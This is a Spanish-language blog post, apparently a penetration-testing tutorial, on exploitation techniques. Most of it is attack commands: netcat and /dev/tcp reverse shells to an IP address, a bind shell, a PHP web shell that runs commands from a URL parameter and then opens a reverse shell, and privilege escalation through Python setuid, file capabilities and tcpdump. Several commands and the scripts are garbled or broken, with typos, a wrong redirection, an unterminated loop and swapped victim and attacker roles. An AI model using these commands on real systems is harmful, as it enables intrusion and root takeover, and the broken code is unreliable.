En este artículo me voy a centrar en la fase de explotación, hablaremos de diferentes técnicas:
- Reverse shell
- Bind shell
- Fordward shell
- Listar permisos
- Capabilities
- Procesos
Reverse shell
Se establece una conexión desde la máquina comprometida hacia la máquina del atacante.
Desde la máquina comprometida (atacada):
nc -nlvp 443
Me pongo en escucha y luego lanzo el siguiente comando para recibir la consola interactiva.
nc -e /bin/bash 192.168.1.16 443
bash -i >& /dev/tcp/192.168.1.16/443 0>1
Bind shell
Desde la máquina víctima ejecutas un comando, abriendo un puerto temporal.
nc -nlvp 4646 -e /bin/bash
Como atacante te conectas con el puerto que has abierto.
nc ipVictima 4646
Si hay un firewall, para entrablar una reverse shell, con named pipe y mkfifo para conseguir una shell interactiva, sin usar tcp
iptables --flush
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 0:65535 - m ctstate NEW -j DROP
iptales -A OUTPUT -p tcp -m tcp -o eth0
Ahora hacemos una shell en un script en php cmd.php
<?
echo "<pre>" - shell_exec($_GET['cmd']) . "</pre>";
?>
Recargamos…
service apache2 restart
Si hay problemas entrar en
nano /etc/php/8.1/apache2/php.ini poner en on:
short_open_tag = on
Que por defecto viene en off
service apache2 restart
Si en el navegador escribimos localhost/cmp.php?cmd= Podremos ejecutar comandos
localhost/cmp.php?cmd=ncat -e /bin/bash 192.168.17.1 443
Ponemos la ip de la máquina victima. Y en escucha por el puerto 443, en la url me pongo en escucha nc -nlvp 443 y ganaria acceso.
Si ya estamos en una máquina pero como usuario no privilegiado y queremos saber que permisos tiene:
whoami
id
sudo -l
find -perm -4000 2>/dev/null
Si como salida de ejecutar este comando veo que está en el grupo de Python, podría tener Python instalado, simplemente al entrar en la consola de Python, ya sería root y podría ejecutar comandos como root
python3.9
import os os.system ("whoami") h4nna 0 os.setuid(0) os.system ("whoami") root 0 os.system ("bash") os.system ("whoami")
Si tuviera permisos s udi podría ejecutar comandos como root. En este caso no tenía.
getcap -r / 2>/dev/null
setcap cap_setuid+ep /usr/bin/python3.11
Tambíen se podría mirar si se tienen permisos para ejecutar tareas cron
crontab -l
cat /etc/crontab
Listar los timer
systemctl list-timers
Tambíen nos puede interesar ver comandos que reportan los procesos que se ejecutan y por quíen
ps -eo command
O podriamos ejecutar el siguiente script que reprota quién está ejecutando cada proceso, actualizándose las variables old preocess y new process, para salir hay que hacerlo con control +c
#!/bin/bash
function ctrl_c(){
echo -e "\n\n[!] Saliendo…\n"
exit 1
}
#Ctrl+C
trap ctrl_c SIGINT
old_process=$(ps -eo user,command)
while true; do
new_process=$(ps -eo user,command)
diff <(echo "$old_process") <(echo "$new_process") | grep "[>>]" | grep -vE "command|procmon|kworker"
old_process=$new_process
Capabilities a nivel de sistema
Estoy en una maquina y ya sou usuario normal, miro los permisis que tengo y veo que puedo ejecutar como root tcpdum.
Lo que haré será darle a la /bin/bas permisos de ejecución
chmod +x /bin/bash
echo '$COMMAND' > $TF
tucpdump -ln -l io -w 1G 1 -z /tmp/tmp
0 comentarios